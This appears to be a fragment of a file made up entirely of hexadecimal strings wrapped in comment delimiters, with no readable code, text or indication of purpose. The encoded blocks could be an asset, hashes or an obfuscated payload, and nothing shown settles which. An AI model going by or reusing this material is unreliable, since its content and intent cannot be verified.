3fc640e27cf6c50cb8a3684187bc00bb64d9231127a414a8cabcdbb7af46bc162c8644ae50245cbcb793d71bee6a59ef59b7966fbaec619cdbfeab6a83080cb176d1344eeae97f10b7e46abd43e7c93f9356a67e67576736f7f6ab946d779eed8d6dd6062925ba147efee673d047ef0effae60d2fd8573d2af7cd29864389c3d0e02bd31a16b50723fc9e0d47519d29d1354e601a2bcaf41368e8ad66caa98521bc32ab40aae3bfdc36db32515e26a4a60707bed57e82c032f44c5abe2a561f51ff6a559c02c366cc97f24637d1367d7773310fbd030d5ba488763893d8861d361abbff31f22ead2fbde137e938e16ff2de3787c44daeffc262259f97b93da92995aaa8c3119ebd11c50581eac581274d9f11b6e65a2d7fe9f5e794a4ccedd5740bdb3f73836fd8bceb6106da77ba4ce6350c922b80a78b43738e35e348b2b57efc814be2cfe6f1dd3bf96711b8813445d965a2c395c8059033896610d2e90cf90b53a6540a3c374b9e5edcb43b2285764e1f1fc7bfaba6e688ef6ed79f6671b259156b1034409eaece4d403f8aab5ca6262a9124f40e1532cad679681d6440030ae1142c3c00bb3b175e949c884fbc3fff3684d5ee6f8156aae7e4392e6bfefcb9be9a1ef3b674d48036cc695359c59c99ce032893796a83251e4530fb09bf44bfae3382c56918cb7cf2edb73800c937de4ef5428ab94d0fde9b4504cc157df68d438e4dd0f3fe674f451c91c9c0f4ac21ac451a09293b31bd8e77ffd948f3675ee1e8d94b8896accebd20536d304073228932b89b22117f497d8a17f12be430510dda40b0db7e727734c05c9715b5078c8566955456362e200ddf62ce010b11cb63b9565f628165e0a75e9cd36c5d9595b3c9872c747cf5949d9c8924165e8ef50a6b68932c50b9e58a1c96307f10886dbbeac01c3bb7c7866ed9146491ea3022601afff2502bf7a357220e3f9679f5c07594186d380549bdfcdf9d32b0fd2218b15a1c4fa4538b07b16ad23503691bf1f9a855b366f576218f3c4ccb5392a6fe3023f56b6572e495fa06515dedca4edc889acedc89605bd0ddcc4d56f68dfd628407e4ad615599b14dbdf006fe3ffd0594a286781e9a0131e5efcd7b5b957d384c72836e3ab2962bfa02153edcfc4dc621049668363545ceaf645359149cb336197464329299acb9aa4e1bec87012c08ca396e913d185e168040e7b3a16e287ed36cf1d6fce1bf736aa655572940f9ffbd7d920fb1949c97bb21c64f37c0eccd0dfa013fd69626cf1aee14e38c3f0d829*/
/*93781bfca360977f6336f00bd9ae1cd5c40b9580a9f84411f44869347c523481be723624ed31ec7d887761274db211d23e24085e8cad6ce10e71888791d46dafeefe96630e7d4f68ab58787d6fbec80965872919d38cf1e8ede8b92c7d0b8e0a57790ba242bdea82bebd97aaba4ccfa89057e04af26dc7e22dc7e174a6731907dcc27471c5a107516fc070f1d2c0a830440ed0cf950d6396f00b0fd8e21d184cf8f8e2a7e26effd8d76503b3e0dd9aa0c87d2418c34c2d2cc2ef4ce36f177f7b7008529ce019d254144074354187065d8d64ae963061264b0ea1219cd4fd577fedb1fdceffeb63c7f5c436d3bb9b51bfa8ad72fedf60241baf6bda95f13f07d07b87321354b8306463097467698911b73c0d25142efb2c6c15c6a06a2f3930c50fefcd13091a1bcacb32b88fe892b8d5d43eee985d06f80b9445aed4b6d3fb9c1f3bf69e026634296b6d8bef97c61809086492eb719355fd692da82ec3255a54dcdec9c5e373dd0e59bc3f7aa408ba8e8cf9b0759642e6e5489e0134f48b6753a82cdee81eed0c0bdce50f9bafc83c5ea891a0952863c151e4e481ef80b9818de9e2249626315ecb42a8af6d528f940aace97676cce21093a31af9fe4fff3289410bac9b25fe2cf4ffa3da63c7a86c92bf25e0edea0b935fba373e21a0eaef823c1d9924562bfad99219e1baf3a4989e673dc132f9a2411a1bd8f2eba0740bb83bc8f08de6f0d9e267d8f47ce7fde26a828db7322727bf9037e393ba12e5b475b7f15261db5d3895aba298ecda75df2b36affa2890d41216450d00065e88929ecb4bb001d78fcfa3fc9f45ba197b736e1a23935d50c1a9894eedaea76b3069e266882d1417fb71679755a56faa91cd85861eadf69912f13ea3718dc7861b835c5008e9615293365b0ada7994b859c54058aae77ffdaf8babed43d3b46dcfe99851fb43fcb1b5ad9e4d5139dd93020b18bfe4cd4cb9da22eb306855b130178debd7d93faa53e9de8370e26b700977027406a61f04aa0f43a263a888805c2661647f21ab5c559c8f36bcf4c3ca24a1200e68950bbc37335ce81234986c9ce2a8fade2c71355226921688439299724e6d043337656b8ac2c04de6f7e397645a2e33c2c8a44062668ae82cf4e896cd57b2bf825b94f9f1acc902bd4309fcaee086fc0e25e2afcfb4eb8a7ad9845efbfa5aa6c14b87cdf3849f411b7c2bbf5470c631495b1384943322e44c153d776f5d4a5f6e831af6b6ebd730149bb39b8cdf48649e04c0c8ce4023fea529ea9803e98f27a7b70cd638194354132d16546a35f8fad770daaecac1a8cae8d3abcfa8ddf5b4cf8c3ceea9193ef04cd24441fb083178b950b315ad1092d44166154eb4e804a17878cb8fa786f7ab7663a11a8b5607ebc65a8d2bc4f16c6de6936c5957f0dd0f02bbe04e188dc068103c4d5d7ad78f96f622d329d91522d7b75555d14667cb03aed3924ca65fcc2335221ae0a90c25bb578dbb6e9f4281c7867cfeb8c9602805e6cb7eb66d23a53f381c0a715990b93f2bb4e4033c24d05474525e70add23bf193431b9abbb2a6c641459bf996a8b591ef1c8ccf7c1db563713afada023041f47b1a519efdec4494590be7a85fc682ad7a89c25300ef479a37bb23f7881c0fbb188ce2b18a8e5f5cc50b3a044ac981fecec8e28e310485d81049b417dfa174d619352d73ee46864c5b1842ca438198c2892530f6e075652fda931997c1cbaa1c8557f4b05fbbd10d845be38883cec8e9de3f1f31ac7a5de9837a9520b344c978ed3685ca0f34abd440648d595358fd8a4526089270740bc65f70a22a06369eecf5b337d84f607e7c1db36a1d13e2cc036ea8f3a05e4fea24b0d8c029fd6d5bb278381b29c99490d9b01c19bc66c0fc9edaba6218eee672a10d1837c5acaec14c06d67f0226cc5b2f4c3306eda5e76d23dbd3bca53d2676c44fb0f786fd7bf49dffaa64fb13e48c7a014ca0bf5317e01e7a3ccbd70b1e7149cb61461b91f9c2426077028675eec8a8df99bcef3cac51ad03f7bb83cb33b021b0f4c8c1260306a01086e83347312de68fb23b1c3c2d834383ff20e2d1314ee4034463d8eeb8e4ff303dfc054dad873adf120e42e83ce19a2033307a980eab27fb78ee2ea5b85c53fd79855e9cd527835092f4feb6ef6f2b377bb4a1c6e74c7ca9e96daa45c1c2290cbf244f9cc026be0a4481a14a028add1b3a28edbf827e3326e641194fe184c9ef1d7bb5bdc31dbca929805018fb1490a82182bd25c172349cdf43871c2610d7eb8b4c237cc0952fc2eefa3884a3cf043e4a207b17bf9ec694cdb595da76d12c562cc3ab7d292c679c7004bd7eb0f9bd7382f3e4bc0a583e659ddd0fa6e9d6b1c0578d944e052d2239e6fd5c2ae1e4f467c0bfeed50769fd10cc9bafd1b2dba43ab42bcaa06c08ac78327f92927412402cd11fc8b803fa6ab5dea9f5b9409485f740d096b8ff612031828d30c0c5c22be2a00e6b946d20a505c9ded022afb8726d070dc43621a150ed84e0880385bd0aeca76568a2a2b3737de795cb45eaa9b8af929f6f0d2c1de91b5849d5a119734735dc1080e096b1de77fae73514ada82e9cd6f52fd54c3da153b09f51140edf86d85320cdbd197334b691c6ea5404d0ddf4c61fba28530c7aac35c8257badf47b51f24e52974731d75f01432478eac13f2fd903859fcb27123c9653762cd71f6f94800878aecdf699ab9a7dd9101094f3118743cb1ed5fa9c6de2bcea1486c34aa32df8ca157f66f2c9b7c81c2b4e54ebee73dc0d988d646105f48279e1c527d855f09f5f4329729ab501c4180b4967ac*/
/*1101a63b40e2cd5ea64cc13b0cae2adb5c16c0f76f2283f5cb325e81e96887ebac229a645fed65644e6be8284c48befaca461a4ed77092ad0ff76a7dddbdc2fb1a8c5724521036192b7c6b957c4e1ff39f2db5bda874df8c98163265734fb024b3fa67836dd6cf079d5861f0b52480282e07948bd4146c0dc4c8f586c16a74c9abcf215681379fe6330ef15870110dd4c64169246a0207a4daf75eccf3658eea522319d5357658d7fcfd64c08c3d9e957e18158abab9bfd0cf6850b9bfadd978f2049436038c96578e501ca72a1f48f37344c73c5b8c71aa7079a9d368347e698eac7cf3c2446b761cf1afeb682f6e4448757c7a2c3fce40d7914af834a0a86e44442acff869ab708262583023f7d366708ad1fda80f4ad746bbe2be32ffb9d38b6f239165075e5d9108fb6e99cc0371294c6029b2802a438b9da4b79492d9d912e931cda7a68c534758eef8323c38bce93e0cefb7d931477af99ef4b3cbd2c3f182afab2141a835c08f8df4227c7b3c909047a20065c99e874d2917b9b29a88210b4c8fd421656cef3d93e0d22b4a92abf87fe745db5d0071376c1485fe0fb58a9ef92b69ea2e266dda633f3c6789bf7f2d8f3158b72e760f3ea4954db7c7f0f3b2e865321afeb428a97af25803afa17cbe3631ab14052fd4d9ecc5de111f9864071a792bd396e25741afe6f2ae6a769676975a39114b543442917be05bf73b499e22e40e29349c08e40696515688887efb3a5ca8e90d314bfa704c1af867c26e324488c6df5dc61d1e3084e37a0a58c4fa44d3b827c1068bfaed5e6da1707a363ff553c220ba680abff11fd3907350b47badebf433870e729786fdddd5482bf6981be8d4426e8359519c7eec4a313dc1fa1a9eff9977eca2eccb9b184764f143a16125d0ec535df93a5b5ae38b644d643b71a77750fa8351ab346925e36a153cf33aec47b065fe1681423141a42cf23480ce1caf0c77c3e58771ffbd5e58c39783ce6924725b8f8a2ac00a940310837ab5afa8d88dc20adb91482dd4e544560576d91fab4f7f6a1e00d28969c2b92b9c05cdca6cbbd32d0e7162666b6a48d7e447381531a01891dbcac4b5688f54435dba82e66036548cd2013aa999c048630cb69c8562aaa299d5727a1e19c9b0900be7f55299357db393dc0b11a309acba30772c88b22ddac4432a0cf415bac47c02c73d4a93ff7a781e08f7891d8ac5ed2fabbee4fc7f82beac6cd4084612eb1cb94d6d42c2b5d1da443d402652d7a3746e8755bb04d4582b3b841f427388019f7879009742f381ed90fb5466f572db702b9d849673406973adc484c69a4b375a44ca32a1f00cebaf517778346764ece9dfa187926426ac85386a6bbe28ad924ffcc8ca805d84da4cef67691b3c262f10f2cee32cd4152bf81169b65980574e9a6b887cfa744c9b264a87805325fb19efa1668aaacbb04059a5007a2027ac6b23d611e83d9642f2bb25d6c0e4b7e4430fc26504e65ffd83694898d53e66058f158d79022a4ced46f4f17545d33bff0724f0e0b6fa2b6a8bfc119fc49f063028015524e6705a51c0dbbb9ad5e59b2a16573b6280291e4764e8225e6d866436334ef980a30a72cd235aef34a543bcd082429254581e05573efdd38fb37172e540fa63996fa798660ae22bc6adfc5cf7675a1118547239cd3338d11fad772445d2d39a81475b6166ade21eaad7e777a2c3cd58658617c544fa30a25ee56b5680cbb687ea28a8c0742a1475441dfbcb189ae314ca83c502ff5a883e0ca3953a65aeb43e0b422fd0a261d86acef61e7bce7bf8db0d065c50501c58afbc5d48995377eb4de8470749aff0287f6cc3654990c7741ebaca11e2d751c4e5420630d0e88bd8a663a767149d26ba71e710e621b09b404ef12fd170728e498236e2c1992bc98141a475163980617d752140f7436fed24ab68c589fa9840ec8897a66f2f0386f1b6c953b60cee757c9a8679115eaf15ea57038588b070a275624fcc3098dce3866a7641e071a97613ad18289fe5acfc499dbc603166bb3091387fc41432bc55b68c4fd9b45fa0ac1f06c5371268b1e3230cbf39ea0d39e92d6ad10386e9537de72fbc5b1dc7d3bebb91866de1933adaf9c12ebcd8b8d5373af920e37d24adcb84f2cf573ade8ed2c069de02326617c23e16b9c004fd050cd5bf3a9a1ab148cd18f6fb2439255f6268a9e7dd45ce18495632e8cd47deaab65c865d27f5e107467574cd663484946db29b1069f0221102b9d46d4b196b7d6030e5b7b2ab6fd2f5455526683c910249ba09b45de777089324b12a8f8871d5ddbdaa964fd0c9db0eb99ba2ad60dd1fe0bfbb3e5f7bbdfa70b4463148d494b373d030a1dcaec03ebe6ebc71fb3e13f4bb0aaca0ddbc8901f66a69c4451a1a5f905113deab336fc227c1d317ed8fa197627c0905d3e91f2da55d289f531614c63c1ded1e7f6a9daef299c678672ff7c9a05db3e22cb61176ec220204cf6d9785a65bcefa893fa3da1f8a0a9527aa14870b59dff2dc049f6b204084e9bd4f0c233b0c32eeaa98bdbcfaf54a49e404d91c3afd3f16fe655742e87cbd546ff9ce4af28548736cbe8cf82fdcd1b77fd4ba0b80aeb53d18999736a775e2dabc86eb625fde650129896b5ad6eb7bc110041e4b0ba1d5a4c0335fa26e951e86cef1d60dd8d405346476ee6cbfea6f8f9b14e7564db8695ab8232e91d7b971047f6b1ac439d993a75166b9d3691065c70f70238c034d41d1cfa4750ede4f4e741593bf56a0dcdea3455f3f82cb4d52a4b3681497b22af82b4c0708791bd97403bbca292fc68b4c360c8048858359*/
/*a5796eb0f3c047dcb47ffbeb4d0fc1819380712d9e53b7f19e0d53fdceb29d995d3830ff7d8546844ac199d063f140111e2791d6e95adf096da4510dfeb32754147ae9f2e1e28d1564a7f79199aa3e214c2693abde758138544d63dae6843e33f1c841e73e62f2d0ffb18ed9451d09c7706630ef4b45dcc55762b744aca71bbfe40287addc81ba9e8b760311ada2160c0ba41749ee1a623a629e0de5814add0b232522b663c0d7dde39e6508820947187f55f335241b89127e456212a225dd9cdd543389f2ad3401ecd4c1e72accc65ba285901697872fda4288e31fcd7f69522371940fd136254b74554b6910074efbed3032704266bdeeb3f826a1d61449bf22aa930ca86402f9107e68ed4984622bc42139b2e8e8974b5a84e304d0eda954b8b374a32612cf86c615a78c584d36483aec31bd32876c78401116ab7f146a91efebd5dcd5826b1ad4ea76eae5687bc44c1adad0c361e858ef34e21b721913b4adb7e6cf02f72b8278a3cef40cc5e5d366c28ad3d26b567a5cae62d2e8aa8ddd2b83b73be743f7b6d11f6ae3d52b272760d03815b3bc9888b8ed1534c73d4462b6ed88bca4c8aa664b5a2095a2bcf6ce0bd692885f4d38228383f0c69edaf817db96f1a66732e9edae13827af49eb169ef25f95a8dd25ec662c8ba3f7d3a6c8f7f57843817e8990d5f98d8c6e56a630ad0f735a002404f58a7c8d6a776ee43e3739a0b5b08f6a79dea398dabcc674071d03a3052515740f17b49e1cdbf216e53eb39bea47644ff1ab660e3190b2443f135f2b39f99baec028535c2f5c85ebde67cbff33bd2da6aeb84d1c7d7b2631a3cf58230b6e7dc7c4a43c7e842153297aca267e3db5ed6132cbdeb46f128494ad7a51ba24fc2948b140cab147bb04d8a0687e65567c3db3bae252c4a930f5450fc3a3597eebafd79e7bccb7124950ba8b78a9ef51c1eee17bef22cb87e3595cc84f40d8532df843ed4ddb5d359d014d59d964264604a4a545c58b5e7d23b2e867e6cb9ef5064be7c96d8ae60511a86fc2d1703e6058eaa276da96d03167cd4b7c89d45c988d2e6354dbfdfdebd437a11c9a159f1c3f4ffb1859a31b08ebd878990256f0756a3523870e9d110be1cdfb03c1aba9d55f88f0b69c0d25d8291e449d7121b66923b2b2865d9ddcf5205b065f47e7ab0aee274265623fef5960d62e89765e803fcb8ece450cf6852c20c896490f0c8cb19c8ac02d7106c7bae095b53dbd87e7d24137acfaf96b7245c50f06f58a557632f4d913ec3d5875a97ce9ce6c1c9f5d959da97341c3d96626d4415abb0b4505ac65318ddab7a5f8f836fedfc0679e2ab06d6b9da09fa0db19432df45db6123c20cda8b57d2ee4fa967a9f64843fbe7753b346a52e290f9943db78799a8b2b750b1ab86cbf6a805c0a71e1f89f840cc68d34c9e4319764254cd8baab2f2c9a55426bfca80cb5217c9d0ce36d371acde9b26b05464575b43fe6aedeeca49d2a6097817622351280037b18ff9e2fe63a21c269dcf0ce74c9a070b8623a0833076e3cb2e1a5a28b64033de1ca248a77c7cdd0638df6f53e2c60ec256b2ef85b916638c19f51d5f8f680f0d79684ac307c0179de6be1148341dda704bd2102b01de878815838f93e9c31340bbf7fc63108c2f396d0389aa4b103fe0bf861d0dc736192e929b2a4d92c53426fa5eefc34d84465abc8c8921ac1502d76c2304447c6f1f8be8be8325e8901c044aa0950ac5163dbf4837cc2889697d537704455fca8ef2e6bfc244747adccb9857aa9eaf6b771edd029dc91bf98ff72047bc078e1d6a96f450888d1fea73baeaf34e2c426890d4bcac0fd5e5733352033c866240b459eab9d7ce870717044c2c251a9d96d3c2d069295559c24c87d2f5106f4fdb7989c0ef07816c6f6eb0322711a5f52c7f11176efb4e28dcb12ccbfaf4fa1faafb038200f5cce2556f9f91763d76400e08f4ba4ae126fb370b585a6a093b2155aa9598bee8c4b1cc3292c350bd6f0aee62f675f73cf8bedefad3555cfd5bdc4267072830f5361ea0de796e5dd93b89184f2e1949306f942cc8cf3ee38e688648da433532fad67bb318581559f62b79f3be8078c39512c711ef9306398a5682b569cf6a525b4042f58a6fb4b320f1ccca18e7a4e2fe364ca49616723a6bae5ba35c01979a73c6259c32d0c875562aba7fba63e48d53d2bb1031570857d518ae6bf1c1a21878d5c6f92c2f9c593bed4e1523ecaecb7a2799a14a82c4f8b59fcbccfd980d1db5154e5897aaf745ce3da4868f1ee2b14ca076d96504f5f012ee73142f5f994d913c4e5c7419d239d6c0aed5806a047f0e71aea694e527bf4da2196c05c4ef6d0914e40cca0a02f7104df75363ecd954a74fb1c64eac9504a4a6857757847a510830dc23e61d8b1209654df71028245c641bb0419fa287ce588fe3e15edacc31ecf1ead892ba38fc9f0efc15ff715f213019f855c41ce880c64e38c0f4ce0cb3df9f176d3fca0ebff2dd8d259ca47d3ff29fd91fa9a9dadc1a1e8726b703626fcdd4b6c0d9d10d78998c3c57eac58483c037ee246c875594a84bf00e6bdebcf12edbe9d1e65ff70819d54cac92df8109db43cf8f956d14dcba1ae9cfccf0860a50c0ba6479a4fc7c4ffc060c030dc00f1ccdc3678d750325e48e5b5fd4236cecb15af1566db7f3152e16084f6c72df9c81707acf529c9552e3626403060e6acac75f0ecd6225d929ef6901cdb44e52ad239f30f477d7c566716d600dfd2dc94bfa4d165f6dc1ac12c18f06daf0d8d88afa36dc470c9a3f5414f671ba9ab3266b733748b5a11778f59bec9e1a*/
/*a7ad110afaff42ded783a3a8f2a179ca3ed5c83db59cc8c3a348980208a081a6ee12cf490fa1711d232fab28ecb43388c01f3f629d88df0a0f5eb3d22a975b3d2732d6547f750c02bcb43a4bfd44c7ca79b3775f407de49083eb38a16c758e0b729e65ff5f8acad10a2c65544150bf3ed0edef861209e1b558d1e76d483206f7874c117cadd052959940cd6598d4c78b690cd40f5a4b10a8a727ebbd609da392113c22324ad0772ad9b45aca2c7482bbc008b479db91dc22efb0444a5ff69aa49ef1bab429f7fe2b37e717d8ec48745170439802cf96604a22bfa5ac1d6ce2e77b603cdd67356434b21847608101ed53578d0adb27a7ee42b74229e7ddad3bab4266b3514f6bb59c7ce730fd5c8c3b33a246fa46cf382512017d3b1e68e76109cb6ce0335d960fb6c182bcb94cc8d997038675b9d7f62ea06f6784fa37022cea2da16b925f65a5a984cea97a3a810eb74094275c0048557d342a3f6eea084dac9ad13983955196506175f9f47567dd691a86dba9c74caaa57e2bc40ef3896849fea7316f3598a84370ee7031a7da67e754b9d7b3eef57924b3addf33adbc59d8646bc1f46fdb31017c4df3c806936e5b6e2c4772a4aad5f888fb0f4fb054d520191f3fe80c3c62a1c249ce86da88f1aa682945347b5c8a612446ba032f5ea42a84d857a4d54ed36553f71ca9b3b2818c4b313018a9235a9b40e8430808145994aeef0bb44ddbb90a98d6db4a6847f8c64490b25591e0e60c0bc1940ace249d1cf8edd7f0d5fb33dc3b7c43cb239077fb34e19d111eefde344cbbc854fc54b19716709866fd3602426bc6d1c4bbd20a570a8759a382a565fe69c51e6e2c0ffd25b45834685a7e048f57bb5f95f71a371eee7482bf520d3a53f00d767b778d05697b6b8b1efc72aafc8ca709cfd65031bbfb1959bc38b2b51e40165526d96f9f62b590c2c0d4801bd3807d3c1782f60b7ee146eda0755df50105e99c0d108a1b49b5be5cdabe47de8273dc685de73259cfd5cd685e7a0f82d83915a553885346b9a80f08ff42d6c323e6e36de386a99a954749d0e993003830ef96cdfd42506bbb90dfe4fe2768bde83482e6cc66026996fd3485b36a4907f17a69611eb172f8efcbd9ab196364a038281e5178c1a8211e347a77628ab140cfb2685d9ee95112f29eee50691c89e12ec2da6b5abdf6334f31f2d34baef8feeeb60e7e331cf288416424ab2fd6729e204cd3918427be54ede7cb892ee8f3d99bcc564ed36d93193cbb7fae4ef5f4b55538785ee5f2b4cea70c50fe6d04d0ed40408005efa26349000325784f7e67e498937b115b8109c84f70c7836883be47095d1b52a56107c7f5c2aa5d53a8124e0047c75a5ff9d8564ff45591001b4e65c8754621052980f1d5d8f92fe6ea2e53ca2be7f57b9a81e3149d72981521a76415a3021d6392095a5fba5ac00121248a23fa7ba1dcc16bf35eab5b68e0b75e101e512e3ac943de008ba6b197c39136230d5c324cbe3e8873dc3af7e5092491e904bcbf72e5d35f46dcbbf58e626bb460563e1ae89a19272c9fe332f547bfaa72a6871cc92f0246e227c5fdeafa33a1816e95b48f67d24f2e1c6468948cc1776d70e8d031bf7de8c0512a9b242b21c4da008da235a22e08372d86be9383deab4e6512632f8cb90b676ee39189121f32d7ca10445539322566d28ea3f8051da622e184454eaab714f013e020a3e650f1f0951878bf338f47a82bfecc2cc150e657737643e85b66a049ee924d587ad663b6c974bfe66033b13d65402a4d6d3bb619e6b2e457259e3c490770c04e8fac7c30133772c43fa400ca6f67cbd909dd29edc14e49bf7bda2b7c14d050aadc1ae1e1bd469dbbb2ce92de97d716e1175ea64fdf87e709f0766d8c75ebdeaca954712c80b508c5c94caf6609d8f63af84471464bb9954846e66cb8be37870dd3ebd12ea19f6afc62ab9e450c8a90bb88b4b73b7cafafbb600693d479962f50873419cc9b50fbec0d14cd5bb428e2bb0bdf07a72bdbcc09e71d48781f2d64aa06c2772c6ba9b8ffa98494e699195643cface653dc4849c59133aeb85568f1edb2f3fe9d7088c6cc442ca8aaef31813edac930d75800d7444f83e55c0d2ceb965c4c5c9e8433ae812ffed5ef01063b5f4fad37a0251cb0cb06eca8e3b68f98e71a2b42ea4a936df733c5f95ba1d4a7dc6d66d0ffcb41a17a48fb4ffddebc152d2a04c6dedede942992b7680e76d192da51546df24bf5aeb791502c86f8aaba96948fc1fcac430bc7424f9d147d1d571843f1a9c83e24d0e056ada60655b71a3eb11562b47d8ad7520eb37f16a50332e94eab2f66e9f0b1d84933fd27ae30175bf8675cc7b3a8f6a184ce02d6d74136086f826a10803dbe8fa0232a8185ab9b4df8c41fa5ae0fd0b3217321f202f8b0f5be5eb3796f817bb8a839e97665d0c8e3217327e4bb0e64d582c65742ed7e6ae31e88522ef2ebe51a919f3134bd390d6a5fc2ab103b0d8be216716c85c90e7ae4d14ff38c4980c641ae6e22fa253499dab715277bd2680e3d3b32cdfaa78776459231e8512e67d8fa93009702184abeac71137558698bae44d93bc4b4520ae9c082d99353b4d0ca12eeb8af44f0a9807993a5793b6cc4ca66d9ac10646a2584b9cb3c9e4c838da74407e777ca3898f40f9083da39ae35a7e5be3440fc612e2dc5a98f3b99e0e4820942f0e9b1a2323234c7cf6c2e0f6e223bfe2d5d64d9aaf46a0269344302f9924c36975dff4dafa6636c0249021b59834823a5bc2545418510f32fa7692fc65752f1b1a7c27f62266f9a761051d990eeffc7ec104716*/
/*1ad177a2e9062c69bcaf51e25eebe11f8671ff894d724365e86a1ea7e71cf75b557379ee67b3fd5a94a7a983872ac851b72012f47d87fa1f6a2d82203343ba1922f5d91b3e3b394438d736b3c5c7568e61db96ddfdec15da4ecd4a6666734b18f2cb5b603bd2c97d280e6bf9af82407eb3fb111b2d6e75cb25378885b3f10e60f7129304cdbbf6e4f64a6e32277989cd8141a766b226e5089138e5d635cd3504c8a735679d0acb2fafb7e8020f72ca968a8edd0c266290a03e6a228a64b585913bcc52931a0502ef62759850c601a6f4fd4930bf1fec53eece5190e91dedd12d930f6244db5c584fa0425612b1dea226435d895f3039bd18e33d4586b7ea3f900e0da36d2895c3202af5ae7190b788bfbcb9b63855f836fb045a2798937c9c3feab9eb43c358d408e13b5989ff0aac42c511fbcc9ca4d6441efd9e1f4cc110cbedcd0f196680269d0c8b463b99fbf118038ffa3db0d0ec124f2efc39508ed3751a51eac08ef0f0e218161e9d7d57e9c0bad7f7143d5d2b70c3ebd399f77b04fb49151fd0803b4113f4b1ce50c20f66236dd5a62af41faca7d332a022e3ba48f4ff2512363aff1afcb5f252040ef3da36c4fc4411f1870a353cc98bc5b26b8973983b3e84c99d70bcc25785f807e3c81e096ccd374d88052f201db1b8522bdeb6ab11399b56fdcdbb570a56f2e8c6e65faa92cc35626c48828aadb86390fa93626bbbe7f88d39b69d7e5350a101be46cb22875c5b0ac2ea2dc3abb57b36984bd2c2a8729abf4dbb83ed7c1d561bcb32b86800e2cee098cac371223e85dabeb37f46f63e34c257054a531bbe865d584faf1b4682933f8d3c66aa9ca0c24fdc7ee2c50a06fcf016e12b67c52d66d6d04952d2465be85c5e264c0806c51f65fcd81b439ab6de296428ae9265040c72646222ee0dcb2f90125dc3cc2e9518e31a959101b5aefe495e5b1847f10b1e63a077f553e997d9bb47a13587d97c1e5c70dc622304cbeef8215e040997e140c9d1fd78efd071c826f7ee42db54998144ac23b43d4578fa4b6580f5889f5902cf4541a57e27f1f2319845275c427c276071dfa45c84c0ebb3483884af9b43bf9df2b0c6a21083556ce292c1c82cbe50e3e84536c260cad9325f9a85bdd99447eb58228b02e08a93af6d4af0e7c47067734d3a6a2db1c3704254a6a6767bea3f314e821049403ddd5ff0296902924301a10f9348dc1490a5bcf7e543f85f8d886caf10fb6db42a29912c37a28cde522be2c28ecd7dc2493621c2712dd954f7c43af539d94290c15e99f2982d7074f64e9fbc144a5c235da7d98508f239f0d2b2a69357a409a63fc480c4aee362c1f44925cbabdc5b934243593f84c2ed4f07aa6c59049ada6a2cdb8fed1b7aa055d21580a32f63899c6f15af76db46c5d28f2cf6fe6617f09ec5018726b23221ceb689fca088e1f0add9e3a08c780992b1a2049449e95814c87b2518ac1b6c54b0209ada2e7a42f947ece4e71d860f61451508d54ec16e0919dc964baed1708cd488a8b28c86786cbec0318e627d9a9f8607533321130f8d6e5d8620d47f95231a8b4295c14815e581ca1b37e40a966079270449311d319c27fed12f558d28b78459cd5160f573aff95a4f8b90004509e6e4d9392d3b938a54cd33fcb6bf06c129d87a034a935be894f06227ef37bcdb7317f1b193842d47a0fad999b093261d6764da3feec1b18221d80fc2e401785130136c575dfea803fbffc8dc878f19a86c646059791a876879d46fdfb4e5f2ab7c3e1211f909f6acca7485c57d89e3d5aaf4d79592cd4148e59a8d777b32cd69ba79c90e512d6736c9956baa2d9ae926b76a93e49f461aee89571699493dfb2cda0ec338df164f9b70e32fe250fcf683e2525cd137134850f16e8b34ef6a5e617a8e236924bfc68130d2083b40ccabb0b4aca028f5dc56234cb5b44aea3317ff17c356fa9ce3cc1d310f26df0c3d10ea922682ee45cdc00bcabc379453580eb8920a1b666ef715d96e64e4ae9f4f4866a8bc71cdaf86a5f469625b35b87001df7cb4fde9fb5fdf3eeb7ba508c3135e32cd0cfe8f4d146b4505d915a3fcbbb52c41838659aec88891d0e9bb8e19bfe380f841eb4887d45d5987faa22a420249bf205ad7d0fbabf2bb487ac740b74e772032f357da558c4a2bec358ed29ee02dbd3706f54052cb5e95a96e7dff20545cc7282d884cbab9a9bbbb69b12a1040ecd4b66b679d957d540f8e80f87760511199a378bc15433017b97a50bee2d0e24ccca99882b40b82405a2387c0912b674377b3852e3d59c08a367e811e294661379bcfaf4ca42a1999849fac1281dda7ee2b7c30168897f1b04c50ca08c6f7062e3735f42af85b1ebf71966a55afb3a0ceabc32ecabd70a7f7578787450b190e075519632af5cc6fc92ed7198ee4bd2e8ea0bc841948707a1c43d350f7a571a4c709a1ef1ac33496afff39c03c0f50d93326852ef804a28458abad69f22bc48fb83898cd8f89012008e1eebfccd19f40c09908e615d152f0d16781648a1cc26f6057f4780f720e63cc48941a2a61d4f9eb4229c9a1c0dad8584c4638bfe3219714935a6faaa51e5ff04ea544a609f37a0154b2ace449c7029842d4e19d948d6980f28efe9b294075cd78c443ab0c7b721b76e56c2c8b00223b1e75bd3f9384cac4957e80afb140aa28bba494f7c91b99fed47cf8a4f535be3da22af3353556dfa4136df13257a095595326d112353bbd3eb189552e8c0e4100d3d008f115c23dadf63e42f37833234e2e7b4d34e954121d355578fc1ea8f5b7535200d04fcaf2a7532a4e8cd7316009*/
/*15a728caacca0c85e93b02d35b6f0733b88c6bdc5464c63ec2387d8ef2ef790cfd509ad0548541d85d6b9150e1affd29c56bfd6da31765b6cce89706c380b74ecea8606adde643ea9d489305e422801c15facf7d959b09377dc62d6106ed5b24c2584b3e320aa33c43496f58aa8ce228e23ea4a28e70d8645a9788edde40cbea385ab4c4c04ad93a682414c5c7b6193a8d0acf9ac3462b993e301130ad0ebb571f5a1427b295aaa2529151b3f12377ade93b2421516d1161fb8e0e001f4ad065a8dbcf1d3e399e9a5b526e3f9c5f11fabc9ac55ac6a06fc2a016ece333cb3372f17031d13aef42b31ac4825d290319bb6eac0f193df48a144c5a6f0558d68d7fa3cc9bc312b447891fb3dcfbd055b44d65fcc9af011242108ee35ded0fd23638d1902efab2b387518f37ee9c7554b6ae63873bffdb78c9ed432b3ddc9544c9f4c6fc42e06552a56829e32a1cc203ac56bb702d64bbca9bd31dedf58e394149321e29db06a6519adce4bdfc96b35f7b10c35e94544b5b0f15c1e8876362ad64331cb7520c90b574ad860132eac010205f35d6ae96f32110943e4db9937fa83622e225633e7d6b4d25f52471d78b4af5d8b78d6807d0ede272b4e5d7982126ba705f2eb681e7534dab70558371504bcf7e796adcd1590d1cd45f9a14597ef74a48743d2d7a7da2d8405982c840e46b43ba3744e7fb5a1fcf634a56dad71edc20cfac6633ffadc87d6656037ae83bd171c2b358321b301aea447b8e1ac288c598c2a1971c2e05e1cff46ac19e4b43e527f0ae2feb86fc1705510b732c7b803b05295229349212baf74e7a0e755aa75cca936ade107d52d66ee78f0ac32291f65cb963570